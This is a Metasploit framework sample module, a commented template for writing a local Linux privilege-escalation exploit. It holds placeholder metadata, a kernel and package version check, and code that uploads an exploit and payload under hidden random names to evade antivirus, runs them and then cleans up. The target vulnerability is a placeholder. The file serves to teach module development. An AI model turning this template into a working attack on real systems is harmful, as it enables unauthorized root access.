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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# This exploit sample shows how an exploit module could be written to exploit
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# a bug in a command on a linux computer for priv esc.
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#
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###
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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  # includes: is_root?
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  include Msf::Post::Linux::Priv
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  # includes: has_gcc?
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  include Msf::Post::Linux::System
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  # includes: kernel_release
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  include Msf::Post::Linux::Kernel
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  # includes writable?, upload_file, upload_and_chmodx, exploit_data
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  include Msf::Post::File
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  # includes generate_payload_exe
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  include Msf::Exploit::EXE
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  # includes register_files_for_cleanup
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  include Msf::Exploit::FileDropper
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  # includes: COMPILE option, live_compile?, upload_and_compile
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  # strip_comments
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  include Msf::Post::Linux::Compile
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        # The Name should be just like the line of a Git commit - software name,
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        # vuln type, class. Preferably apply
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        # some search optimization so people can actually find the module.
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        # We encourage consistency between module name and file name.
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        'Name' => 'Sample Linux Priv Esc',
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        'Description' => %q{
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          This exploit module illustrates how a vulnerability could be exploited
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          in an linux command for priv esc.
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        },
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        'License' => MSF_LICENSE,
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        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
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        # Add reference to additional authors, like those creating original proof of concepts or
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        # reference materials.
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        # It is also common to comment in who did what (PoC vs metasploit module, etc)
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        'Author' => [
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          'h00die <[email protected]>', # msf module
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          'researcher' # original PoC, analysis
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        ],
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        'Platform' => [ 'linux' ],
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        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
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        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
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        # A full list is available in lib/msf/core/payload/uuid.rb
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        'Arch' => [ ARCH_X86, ARCH_X64 ],
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        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
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        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
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        # test both to ensure compatibility.
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [[ 'Auto', {} ]],
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        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
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        # since privilege escalation modules typically result in elevated privileges, this is
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        # generally set to true
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        'Privileged' => true,
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        'References' => [
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          [ 'OSVDB', '12345' ],
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          [ 'EDB', '12345' ],
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          [ 'URL', 'http://www.example.com'],
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          [ 'CVE', '1978-1234']
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        ],
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        'DisclosureDate' => '2023-11-29',
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        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
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        # It's generally easiest just to put the default at the beginning of the list and skip this
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        # entirely.
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        'DefaultTarget' => 0,
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        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
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        'Notes' => {
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          'Stability' => [],
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          'Reliability' => [],
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          'SideEffects' => []
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        }
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      )
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    )
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    # force exploit is used to bypass the check command results
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    register_advanced_options [
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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    ]
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  end
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  # Simplify pulling the writable directory variable
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def check
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    # Check the kernel version to see if its in a vulnerable range
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    # we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812
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    release = kernel_release
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    begin
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      if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
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         Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
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        return CheckCode::Safe("Kernel version #{release} is not vulnerable")
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      end
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    rescue ArgumentError => e
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      return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")
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    end
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    vprint_good "Kernel version #{release} appears to be vulnerable"
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    # Check the app is installed and the version, debian based example
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    package = cmd_exec('dpkg -l example | grep \'^ii\'')
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    if package&.include?('1:2015.3.14AR.1-1build1')
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      return CheckCode::Appears("Vulnerable app version #{package} detected")
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    end
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    CheckCode::Safe("app #{package} is not vulnerable")
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  end
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  #
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  # The exploit method drops a payload file to the system, then either compiles and runs
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  # or just runs the exploit on the system.
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  #
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  def exploit
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    # Check if we're already root
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    if !datastore['ForceExploit'] && is_root?
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      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
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    end
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    # Make sure we can write our exploit and payload to the local system
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    # Upload exploit executable, writing to a random name so AV doesn't have too easy a job
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    executable_name = ".#{rand_text_alphanumeric(5..10)}"
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    executable_path = "#{base_dir}/#{executable_name}"
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    if live_compile?
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      vprint_status 'Live compiling exploit on system...'
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      upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
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      rm_f "#{executable_path}.c"
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    else
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      vprint_status 'Dropping pre-compiled exploit on system...'
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      upload_and_chmodx executable_path, exploit_data('example')
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    end
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    # register the file for automatic cleanup
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    register_files_for_cleanup(executable_path)
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    # Upload payload executable
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    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
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    upload_and_chmodx payload_path, generate_payload_exe
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    # register payload for automatic cleanup
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    register_files_for_cleanup(payload_path)
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    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
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    # output from the exploit being run, they can optionally see it
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    timeout = 30
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    print_status 'Launching exploit...'
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    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
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    output.each_line { |line| vprint_status line.chomp }
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  end
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end
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